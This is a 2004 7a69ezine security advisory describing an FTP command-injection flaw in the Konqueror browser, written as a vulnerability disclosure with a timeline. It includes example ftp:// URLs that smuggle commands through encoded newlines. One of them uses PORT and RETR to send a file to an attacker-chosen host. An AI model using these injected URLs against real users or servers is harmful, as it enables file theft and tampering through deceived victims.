- ------------------------------------------------------------------ 7a69ezine Advisories 7a69Adv#16 - ------------------------------------------------------------------ http://www.7a69ezine.org [05/12/2004] - ------------------------------------------------------------------ Title: Konqueror FTP command injection Author: Albert Puigsech Galicia - <ripe@xxxxxxxxxxxxx> Software: Konqueror browser Versions: >= 3.3.1 Remote: yes Exploit: yes Severity: Low-Medium - ------------------------------------------------------------------ I. Introduction. Konqueror is a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This aplication is usualy used to navigate through the filesystems. II. Description. In order to access to a server FTP using Internet Explorer you write "ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff). USER ftpuser PASS ftppass CWD /directory/ The security problem resides in which is posible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute those commands. USER ftpuser PASS ftppass CWD /directory somecommand The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed. III. Exploit You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The explotation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its posible to do that using this URL; ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data. IV. Patch Konqueror developers have been contacted, and patch will be avaliable soon. V. Timeline 01/12/2004 - Bug discovered 02/12/2004 - KDE developers contacted 03/12/2004 - Fast developers reply 03/12/2004 - IE also afected, so we decide to publish the bug 05/12/2004 - Advisor released VI. Extra data You can find more 7a69ezine advisories on this following link: http://www.7a69ezine.org/avisos/propios [spanish info]
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